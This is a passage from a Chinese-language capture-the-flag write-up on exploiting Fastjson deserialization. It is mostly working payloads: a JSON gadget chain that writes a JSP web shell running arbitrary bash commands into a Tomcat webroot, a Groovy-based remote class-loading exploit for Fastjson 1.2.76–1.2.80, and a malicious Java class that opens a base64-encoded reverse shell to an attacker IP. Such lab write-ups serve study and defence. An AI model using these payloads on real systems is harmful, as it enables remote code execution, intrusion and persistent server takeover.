" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger3\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" }\n" +
" }\n" +
"}";
System.out.println(poc4);
}
}

运行脚本,构造数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>
<html>
<head>
<title>Test</title>
</head>
<body>
<%
java.io.PrintWriter writer = response.getWriter();
String cmd = request.getParameter(\"cmd\");
if (cmd != null) {
java.lang.Process exec = Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", cmd});
java.io.InputStream inputStream = exec.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
writer.println(line);
}
} else {
writer.println(\"connect success\");
}
%>
</body>
</html>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/usr/local/tomcat/apache-tomcat-8.5.95/webapps/ROOT/shell.jsp",
"encoding":"UTF-8",
"append": false
},
"charset":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}

这个回显就是上传成功了。

image-20251027145055616

成功获取flag。

image-20251027145130933

版本1.2.80

fastjson1.2.80的groovy利用

fastjson版本1.2.76。

image-20251027163543584

是存在groovy依赖的。

image-20251027210202493

1.2.76<= FastJson <=1.2.80配合groovy依赖可以进行RCE。

新建GroovyPoc.java并编译为GroovyPoc.class(⚠️在恶意类的创建下有个问题:在idea中创建并编译为class时不要创建在任一自己的package下,这样服务端在加载该类时可能因为没有这个package导致调用失败) 如果这样是不行的,在/src/main/java目录下创建即可。

image-20251027210530642

如下GroovyPoc.java这样就可,在进行反弹shell的时候,直接bash -i xxx会反弹shell失败,进行bash64编码后就可成功了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

@GroovyASTTransformation(phase = CompilePhase.CONVERSION)
public class GroovyPoc implements ASTTransformation {
public GroovyPoc() {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}");
} catch (Exception ex) {

}
}

@Override
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {

}
}

恶意类GroovyPoc.class制作好了。

下面,创建META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件,并写入GroovyPoc,这个就是要加载的恶意类的名字。目录结构如下:

image-20251027211149358

使用python3 -m http.server 8099起一个http服务,用于在Web环境中去远程加载。这个漏洞的利用过程分为两步。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 第一步,先执行这段JSON指定期望类加入类缓存。
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}

// 再执行这段JSON远程类加载恶意类
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://192.168.1.101:8099/"
}
}

第一步:

image-20251027211742211

第二步:

image-20251027211833559

成了,成功获取到flag。

image-20251027212002343

参考


  1. https://github.com/lemono0/FastJsonParty ↩︎

  2. https://github.com/lemono0/FastJsonParty/blob/main/Fastjson全版本检测及利用-Poc.md ↩︎ ↩︎

  3. https://mp.weixin.qq.com/s/LODx7JFk4Ajh7yS-sVsfoA ↩︎

  4. https://mp.weixin.qq.com/s/dnxCEt03jJUFS3-ROHdihg ↩︎

  5. https://github.com/lemono0/FastJsonParty/blob/main/1268-writefile-jsp/write-up.md ↩︎

  6. https://tttang.com/archive/1405/ ↩︎

  7. https://github.com/lemono0/FastJsonParty/blob/main/1245-jdk8u342/write-up.md ↩︎

  8. https://github.com/fnmsd/MySQL_Fake_Server ↩︎

  9. https://github.com/lemono0/FastJsonParty/blob/main/1268-jdbc/write-up.md ↩︎ ↩︎

  10. https://commons.apache.org/proper/commons-io/apidocs/org/apache/commons/io/file/Counters.htm ↩︎